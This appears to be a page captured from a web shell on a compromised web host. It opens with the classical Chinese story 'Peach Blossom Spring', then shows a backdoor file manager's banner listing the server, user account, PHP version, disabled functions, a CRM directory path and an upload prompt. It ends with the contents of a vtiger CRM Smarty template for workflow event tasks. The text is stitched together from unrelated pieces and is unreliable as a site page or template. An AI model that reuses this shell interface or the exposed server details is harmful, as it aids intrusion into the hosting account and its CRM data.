晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/akaindir/public_html/crm/layouts/v7/modules/Settings/Workflows/Tasks/ |
Upload File : |
{*<!--
/*********************************************************************************
** The contents of this file are subject to the vtiger CRM Public License Version 1.0
* ("License"); You may not use this file except in compliance with the License
* The Original Code is: vtiger CRM Open Source
* The Initial Developer of the Original Code is vtiger.
* Portions created by vtiger are Copyright (C) vtiger.
* All Rights Reserved.
*
********************************************************************************/
-->*}
{strip}
{assign var=SHOWN_FIELDS_LIST value=array()}
<div class="row" style="margin-bottom: 70px;">
<div class="col-sm-9 col-xs-9">
<div class="row form-group">
<div class="col-sm-2 col-xs-2">{vtranslate('LBL_EVENT_NAME',$QUALIFIED_MODULE)}<span class="redColor">*</span></div>
<div class="col-sm-9 col-xs-9">
<input data-rule-required="true" class="inputElement" name="eventName" type="text" value="{$TASK_OBJECT->eventName}" />
{$SHOWN_FIELDS_LIST['subject'] = 'subject'}
</div>
</div>
<div class="row form-group">
<div class="col-sm-2 col-xs-2">{vtranslate('LBL_DESCRIPTION',$QUALIFIED_MODULE)}</div>
<div class="col-sm-9 col-xs-9">
<textarea class="inputElement" style="height: inherit;" name="description">{$TASK_OBJECT->description}</textarea>
{$SHOWN_FIELDS_LIST['description'] = 'description'}
</div>
</div>
<div class="row form-group">
<div class="col-sm-2 col-xs-2">{vtranslate('LBL_STATUS',$QUALIFIED_MODULE)}</div>
<div class="col-sm-5 col-xs-5">
{assign var=STATUS_PICKLIST_VALUES value=$TASK_TYPE_MODEL->getTaskBaseModule()->getField('eventstatus')->getPickListValues()}
<select name="status" class="select2">
{foreach from=$STATUS_PICKLIST_VALUES item=STATUS_PICKLIST_VALUE key=STATUS_PICKLIST_KEY}
<option value="{$STATUS_PICKLIST_KEY}" {if $STATUS_PICKLIST_KEY eq $TASK_OBJECT->status} selected="" {/if}>{$STATUS_PICKLIST_VALUE}</option>
{/foreach}
</select>
</div>
{$SHOWN_FIELDS_LIST['eventstatus'] = 'eventstatus'}
</div>
<div class="row form-group">
<div class="col-sm-2 col-xs-2">{vtranslate('LBL_TYPE',$QUALIFIED_MODULE)}</div>
<div class="col-sm-5 col-xs-5">
{assign var=EVENTTYPE_PICKLIST_VALUES value=$TASK_TYPE_MODEL->getTaskBaseModule()->getField('activitytype')->getPickListValues()}
<select name="eventType" class="select2">
{foreach from=$EVENTTYPE_PICKLIST_VALUES item=EVENTTYPE_PICKLIST_VALUE key=EVENTTYPE_PICKLIST_KEY}
<option value="{$EVENTTYPE_PICKLIST_KEY}" {if $EVENTTYPE_PICKLIST_KEY eq $TASK_OBJECT->eventType} selected="" {/if}>{$EVENTTYPE_PICKLIST_VALUE}</option>
{/foreach}
</select>
</div>
{$SHOWN_FIELDS_LIST['activitytype'] = 'activitytype'}
</div>
<div class="row form-group">
<div class="col-sm-2 col-xs-2">{vtranslate('LBL_ASSIGNED_TO',$QUALIFIED_MODULE)}</div>
<div class="col-sm-5 col-xs-5">
<select name="assigned_user_id" class="select2">
<option value="">{vtranslate('LBL_SELECT_OPTION','Vtiger')}</option>
{foreach from=$ASSIGNED_TO key=LABEL item=ASSIGNED_USERS_LIST}
<optgroup label="{vtranslate($LABEL,$QUALIFIED_MODULE)}">
{foreach from=$ASSIGNED_USERS_LIST item=ASSIGNED_USER key=ASSIGNED_USER_KEY}
<option value="{$ASSIGNED_USER_KEY}" {if $ASSIGNED_USER_KEY eq $TASK_OBJECT->assigned_user_id} selected="" {/if}>{$ASSIGNED_USER}</option>
{/foreach}
</optgroup>
{/foreach}
<optgroup label="{vtranslate('LBL_SPECIAL_OPTIONS')}">
<option value="copyParentOwner" {if $TASK_OBJECT->assigned_user_id eq 'copyParentOwner'} selected="" {/if}>{vtranslate('LBL_PARENT_OWNER')}</option>
</optgroup>
</select>
</div>
{$SHOWN_FIELDS_LIST['assigned_user_id'] = 'assigned_user_id'}
</div>
<div class="row form-group">
{if $TASK_OBJECT->startTime neq ''}
{assign var=START_TIME value=$TASK_OBJECT->startTime}
{/if}
<div class="col-sm-2 col-xs-2">{vtranslate('LBL_START_TIME',$QUALIFIED_MODULE)}</div>
<div class="col-sm-3 col-xs-3" >
<div class="input-group time">
{if $TASK_OBJECT->time neq ''}
{assign var=TIME value=$TASK_OBJECT->time}
{/if}
<input type="text" class="timepicker-default inputElement" data-format="{$timeFormat}" value="{$START_TIME}" name="startTime" />
<span class="input-group-addon">
<i class="fa fa-clock-o"></i>
</span>
</div>
</div>
</div>
<div class="row form-group">
<div class="col-sm-2 col-xs-2">{vtranslate('LBL_START_DATE',$QUALIFIED_MODULE)}</div>
<div class="col-sm-2 col-xs-2">
<div class="row">
<div class="col-sm-8 col-xs-8">
<input class="inputElement" type="text" value="{$TASK_OBJECT->startDays}" name="startDays"
data-rule-WholeNumber="true">
</div>
<span class="alignMiddle">{vtranslate('LBL_DAYS',$QUALIFIED_MODULE)}</span>
</div>
</div>
<span class="col-sm-2 col-xs-2">
<select class="select2" name="startDirection" style="width: 100%">
<option {if $TASK_OBJECT->startDirection eq 'after'}selected{/if} value="after">{vtranslate('LBL_AFTER',$QUALIFIED_MODULE)}</option>
<option {if $TASK_OBJECT->startDirection eq 'before'}selected{/if} value="before">{vtranslate('LBL_BEFORE',$QUALIFIED_MODULE)}</option>
</select>
</span>
<span class="col-sm-6 col-xs-6">
<select class="select2" name="startDatefield">
{foreach from=$DATETIME_FIELDS item=DATETIME_FIELD}
<option {if $TASK_OBJECT->startDatefield eq $DATETIME_FIELD->get('name')}selected{/if} value="{$DATETIME_FIELD->get('name')}">{vtranslate($DATETIME_FIELD->get('label'), $DATETIME_FIELD->getModuleName())}</option>
{/foreach}
</select>
</span>
{$SHOWN_FIELDS_LIST['date_start'] = 'date_start'}
</div>
<div class="row form-group">
{if $TASK_OBJECT->endTime neq ''}
{assign var=END_TIME value=$TASK_OBJECT->endTime}
{/if}
<span class="col-sm-2 col-xs-2">{vtranslate('LBL_END_TIME',$QUALIFIED_MODULE)}</span>
<div class="col-sm-3 col-xs-3" >
<div class="input-group time">
{if $TASK_OBJECT->time neq ''}
{assign var=TIME value=$TASK_OBJECT->time}
{/if}
<input type="text" class="timepicker-default inputElement" value="{$END_TIME}" name="endTime" />
<span class="input-group-addon">
<i class="fa fa-clock-o"></i>
</span>
</div>
</div>
</div>
<div class="row form-group">
<div class="col-sm-2 col-xs-2">{vtranslate('LBL_END_DATE',$QUALIFIED_MODULE)}</div>
<div class="col-sm-2 col-xs-2">
<div class="row">
<div class="col-sm-8 col-xs-8">
<input class="inputElement" type="text" value="{$TASK_OBJECT->endDays}" name="endDays"
data-rule-WholeNumber="true" >
</div>
<span class="alignMiddle">{vtranslate('LBL_DAYS',$QUALIFIED_MODULE)}</span>
</div>
</div>
<div class="col-sm-2 col-xs-2">
<select class="select2" name="endDirection" style="width: 100%;">
<option {if $TASK_OBJECT->endDirection eq 'after'}selected{/if} value="after">{vtranslate('LBL_AFTER',$QUALIFIED_MODULE)}</option>
<option {if $TASK_OBJECT->endDirection eq 'before'}selected{/if} value="before">{vtranslate('LBL_BEFORE',$QUALIFIED_MODULE)}</option>
</select>
</div>
<span class="col-sm-6 col-xs-6">
<select class="select2" name="endDatefield">
{foreach from=$DATETIME_FIELDS item=DATETIME_FIELD}
<option {if $TASK_OBJECT->endDatefield eq $DATETIME_FIELD->get('name')}selected{/if} value="{$DATETIME_FIELD->get('name')}">{vtranslate($DATETIME_FIELD->get('label'), $DATETIME_FIELD->getModuleName())}</option>
{/foreach}
</select>
</span>
{$SHOWN_FIELDS_LIST['due_date'] = 'due_date'}
</div>
<div class="row form-group">
<div class="col-sm-2 col-xs-2">{vtranslate('LBL_ENABLE_REPEAT',$QUALIFIED_MODULE)}</div>
<div class="col-sm-6 col-xs-6">
<input type="checkbox" name="recurringcheck" {if $TASK_OBJECT->recurringcheck eq 'on'}checked{/if} />
</div>
{$SHOWN_FIELDS_LIST['recurringtype'] = 'recurringtype'}
</div>
<div class="row form-group">
<span class="col-sm-2 col-xs-2"> </span>
<div class="col-sm-10 col-xs-10">
<div>
{assign var=QUALIFIED_MODULE value='Events'}
<div class="{if $TASK_OBJECT->recurringcheck eq 'on'}show{else}hide{/if}" id="repeatUI">
<div class="row form-group">
<div class="col-sm-2 col-xs-2">
<span class="alignMiddle" style="line-height: 30px;">{vtranslate('LBL_REPEATEVENT', $QUALIFIED_MODULE )}</span>
</div>
<div class="col-sm-2 col-xs-2">
<select class="select2" name="repeat_frequency" style="width: 100%;">
{for $FREQUENCY = 1 to 14}
<option value="{$FREQUENCY}" {if $FREQUENCY eq $TASK_OBJECT->repeat_frequency}selected{/if}>{$FREQUENCY}</option>
{/for}
</select>
</div>
<div class="col-sm-2 col-xs-2">
<select class="select2" name="recurringtype" id="recurringType" style="width: 100%;">
<option value="Daily" {if $TASK_OBJECT->recurringtype eq 'Daily'} selected {/if}>{vtranslate('LBL_DAYS_TYPE', $QUALIFIED_MODULE)}</option>
<option value="Weekly" {if $TASK_OBJECT->recurringtype eq 'Weekly'} selected {/if}>{vtranslate('LBL_WEEKS_TYPE', $QUALIFIED_MODULE)}</option>
<option value="Monthly" {if $TASK_OBJECT->recurringtype eq 'Monthly'} selected {/if}>{vtranslate('LBL_MONTHS_TYPE', $QUALIFIED_MODULE)}</option>
<option value="Yearly" {if $TASK_OBJECT->recurringtype eq 'Yearly'} selected {/if}>{vtranslate('LBL_YEAR_TYPE', $QUALIFIED_MODULE)}</option>
</select>
</div>
<div class="col-sm-1 col-xs-1">
<span class="alignMiddle" style="line-height: 30px;">{vtranslate('LBL_UNTIL', $QUALIFIED_MODULE)}</span>
</div>
<div class="col-sm-4 col-xs-4">
<span class="input-group date">
<input type="text" id="calendar_repeat_limit_date" class="dateField inputElement" name="calendar_repeat_limit_date" data-date-format="{$dateFormat}"
value="{$REPEAT_DATE}" data-rule-date="true"/>
<span class="input-group-addon"><i class="fa fa fa-calendar"></i></span>
</span>
</div>
</div>
{**PVTPATCHER-A8F177B3B6446067C8CC9C1AD2143CF9-START-theme711**}
{** Don't remove the Start and Finish Markup! Modified: 2020-07-14 11:35:04 **}
<div class="row form-group {if $TASK_OBJECT->recurringtype eq 'Weekly'}show{else}hide{/if}" id="repeatWeekUI">
{if $LANGUAGE eq 'fa_ir' or $LANGUAGE eq 'fa_af'}
{**PVTPATCHER-9B73DA051686CE1496DE3D5C064FCFDD-START-theme711**}
{** Don't remove the Start and Finish Markup! Modified: 2020-07-14 11:35:04 **}
{if $LANGUAGE neq 'fa_ir' and $LANGUAGE neq 'fa_af'}
<div class="col-sm-1 col-xs-1"><input name="sat_flag" value="saturday" {if $TASK_OBJECT->sat_flag eq "saturday"}checked{/if} type="checkbox">{vtranslate('LBL_SM_SAT', $QUALIFIED_MODULE)}</div>
{/if}
{** REPLACED-9B73DA051686CE1496DE3D5C064FCFDD// <div class="col-sm-1 col-xs-1"><input name="sat_flag" value="saturday" {if $TASK_OBJECT->sat_flag eq "saturday"}checked{/if} type="checkbox">{vtranslate('LBL_SM_SAT', $QUALIFIED_MODULE)}</div>**}
{**PVTPATCHER-9B73DA051686CE1496DE3D5C064FCFDD-FINISH**}
{/if}
{** REPLACED-A8F177B3B6446067C8CC9C1AD2143CF9// <div class="row form-group {if $TASK_OBJECT->recurringtype eq 'Weekly'}show{else}hide{/if}" id="repeatWeekUI">**}
{**PVTPATCHER-A8F177B3B6446067C8CC9C1AD2143CF9-FINISH**}
<div class="col-sm-1 col-xs-1"><input name="sun_flag" value="sunday" {if $TASK_OBJECT->sun_flag eq "sunday"}checked{/if} type="checkbox"/>{vtranslate('LBL_SM_SUN', $QUALIFIED_MODULE)}</div>
<div class="col-sm-1 col-xs-1"><input name="mon_flag" value="monday" {if $TASK_OBJECT->mon_flag eq "monday"}checked{/if} type="checkbox">{vtranslate('LBL_SM_MON', $QUALIFIED_MODULE)}</div>
<div class="col-sm-1 col-xs-1"><input name="tue_flag" value="tuesday" {if $TASK_OBJECT->tue_flag eq "tuesday"}checked{/if} type="checkbox">{vtranslate('LBL_SM_TUE', $QUALIFIED_MODULE)}</div>
<div class="col-sm-1 col-xs-1"><input name="wed_flag" value="wednesday" {if $TASK_OBJECT->wed_flag eq "wednesday"}checked{/if} type="checkbox">{vtranslate('LBL_SM_WED', $QUALIFIED_MODULE)}</div>
<div class="col-sm-1 col-xs-1"><input name="thu_flag" value="thursday" {if $TASK_OBJECT->thu_flag eq "thursday"}checked{/if} type="checkbox">{vtranslate('LBL_SM_THU', $QUALIFIED_MODULE)}</div>
<div class="col-sm-1 col-xs-1"><input name="fri_flag" value="friday" {if $TASK_OBJECT->fri_flag eq "friday"}checked{/if} type="checkbox">{vtranslate('LBL_SM_FRI', $QUALIFIED_MODULE)}</div>
{**PVTPATCHER-9B73DA051686CE1496DE3D5C064FCFDD-START-theme711**}
{** Don't remove the Start and Finish Markup! Modified: 2020-07-14 11:35:04 **}
{if $LANGUAGE neq 'fa_ir' and $LANGUAGE neq 'fa_af'}
<div class="col-sm-1 col-xs-1"><input name="sat_flag" value="saturday" {if $TASK_OBJECT->sat_flag eq "saturday"}checked{/if} type="checkbox">{vtranslate('LBL_SM_SAT', $QUALIFIED_MODULE)}</div>
{/if}
{** REPLACED-9B73DA051686CE1496DE3D5C064FCFDD// <div class="col-sm-1 col-xs-1"><input name="sat_flag" value="saturday" {if $TASK_OBJECT->sat_flag eq "saturday"}checked{/if} type="checkbox">{vtranslate('LBL_SM_SAT', $QUALIFIED_MODULE)}</div>**}
{**PVTPATCHER-9B73DA051686CE1496DE3D5C064FCFDD-FINISH**}
</div>
<div class="{if $TASK_OBJECT->recurringtype eq 'Monthly'}show{else}hide{/if}" id="repeatMonthUI">
<div class="row form-group">
<div class="col-sm-1 col-xs-1"><input type="radio" id="repeatDate" name="repeatMonth" checked value="date" {if $TASK_OBJECT->repeatMonth eq 'date'} checked {/if}/></div>
<div class="col-sm-1 col-xs-1"><span class="alignMiddle">{vtranslate('LBL_ON', $QUALIFIED_MODULE)}</span></div>
<div class="col-sm-2 col-xs-2"><input type="text" id="repeatMonthDate" class="inputElement" name="repeatMonth_date" data-rule-RepeatMonthDate="true" value="{$TASK_OBJECT->repeatMonth_date}"/></div>
<div class="col-sm-6 col-xs-6 alignMiddle">{vtranslate('LBL_DAY_OF_THE_MONTH', $QUALIFIED_MODULE)}</div>
</div>
<div class="clearfix"></div>
<div class="row form-group" id="repeatMonthDayUI">
<div class="col-sm-1 col-xs-1"><input type="radio" id="repeatDay" name="repeatMonth" value="day" {if $TASK_OBJECT->repeatMonth eq 'day'} checked {/if}/></div>
<div class="col-sm-1 col-xs-1"><span class="alignMiddle">{vtranslate('LBL_ON', $QUALIFIED_MODULE)}</span></div>
<div class="col-sm-2 col-xs-2">
<select id="repeatMonthDayType" class="select2" name="repeatMonth_daytype">
<option value="first" {if $TASK_OBJECT->repeatMonth_daytype eq 'first'} selected {/if}>{vtranslate('LBL_FIRST', $QUALIFIED_MODULE)}</option>
<option value="last" {if $TASK_OBJECT->repeatMonth_daytype eq 'last'} selected {/if}>{vtranslate('LBL_LAST', $QUALIFIED_MODULE)}</option>
</select>
</div>
<div class="col-sm-2 col-xs-2">
<select id="repeatMonthDay" class="select2" name="repeatMonth_day">
<option value=1 {if $TASK_OBJECT->repeatMonth_day eq 1} selected {/if}>{vtranslate('LBL_DAY1', $QUALIFIED_MODULE)}</option>
<option value=2 {if $TASK_OBJECT->repeatMonth_day eq 2} selected {/if}>{vtranslate('LBL_DAY2', $QUALIFIED_MODULE)}</option>
<option value=3 {if $TASK_OBJECT->repeatMonth_day eq 3} selected {/if}>{vtranslate('LBL_DAY3', $QUALIFIED_MODULE)}</option>
<option value=4 {if $TASK_OBJECT->repeatMonth_day eq 4} selected {/if}>{vtranslate('LBL_DAY4', $QUALIFIED_MODULE)}</option>
<option value=5 {if $TASK_OBJECT->repeatMonth_day eq 5} selected {/if}>{vtranslate('LBL_DAY5', $QUALIFIED_MODULE)}</option>
<option value=6 {if $TASK_OBJECT->repeatMonth_day eq 6} selected {/if}>{vtranslate('LBL_DAY6', $QUALIFIED_MODULE)}</option>
</select>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
{assign var=RELATED_MODULE_MODEL value=Vtiger_Module_Model::getInstance($QUALIFIED_MODULE)}
{if !empty($TASK_OBJECT->eventName)}
{assign var=FIELD_MODELS value=$RELATED_MODULE_MODEL->getFields()}
{foreach from=$FIELD_MODELS item=FIELD_MODEL}
{assign var=FIELD_NAME value=$FIELD_MODEL->get('name')}
{if !in_array($FIELD_NAME, $SHOWN_FIELDS_LIST) && $FIELD_MODEL->getDisplayType() != '3' && ($FIELD_MODEL->isMandatory() || !empty($TASK_OBJECT->$FIELD_NAME)) && $FIELD_MODEL->getFieldDataType() != 'reference' && $FIELD_MODEL->getFieldDataType() != 'multireference'}
{assign var="test" value=$FIELD_MODEL->set('fieldvalue', $TASK_OBJECT->$FIELD_NAME)}
<div class="row-fluid padding-bottom1per">
<span class="span2">{vtranslate($FIELD_MODEL->get('label'), $QUALIFIED_MODULE)}{if $FIELD_MODEL->isMandatory() eq true}<span class="redColor">*</span>{/if}</span>
<span class="span6">{include file=vtemplate_path($FIELD_MODEL->getUITypeModel()->getTemplateName(), $QUALIFIED_MODULE) FIELD_MODEL=$FIELD_MODEL USER_MODEL=Users_Record_Model::getCurrentUserModel()}</span>
</div>
{/if}
{/foreach}
{else}
{assign var=MANDATORY_FIELD_MODELS value=$RELATED_MODULE_MODEL->getMandatoryFieldModels()}
{foreach from=$MANDATORY_FIELD_MODELS item=MANDATORY_FIELD_MODEL}
{if !in_array($MANDATORY_FIELD_MODEL->get('name'), $SHOWN_FIELDS_LIST) && $MANDATORY_FIELD_MODEL->getDisplayType() != '3' && $MANDATORY_FIELD_MODEL->getFieldDataType() != 'reference' && $MANDATORY_FIELD_MODEL->getFieldDataType() != 'multireference'}
{assign var=FIELD_NAME value=$MANDATORY_FIELD_MODEL->get('name')}
{assign var="test" value=$MANDATORY_FIELD_MODEL->set('fieldvalue', $TASK_OBJECT->$FIELD_NAME)}
<div class="row-fluid padding-bottom1per">
<span class="span2">{vtranslate($MANDATORY_FIELD_MODEL->get('label'), $QUALIFIED_MODULE)}<span class="redColor">*</span></span>
<span class="span6">{include file=vtemplate_path($MANDATORY_FIELD_MODEL->getUITypeModel()->getTemplateName(), $QUALIFIED_MODULE) FIELD_MODEL=$MANDATORY_FIELD_MODEL USER_MODEL=Users_Record_Model::getCurrentUserModel()}</span>
</div>
{/if}
{/foreach}
{/if}
</div>
</div>
{/strip}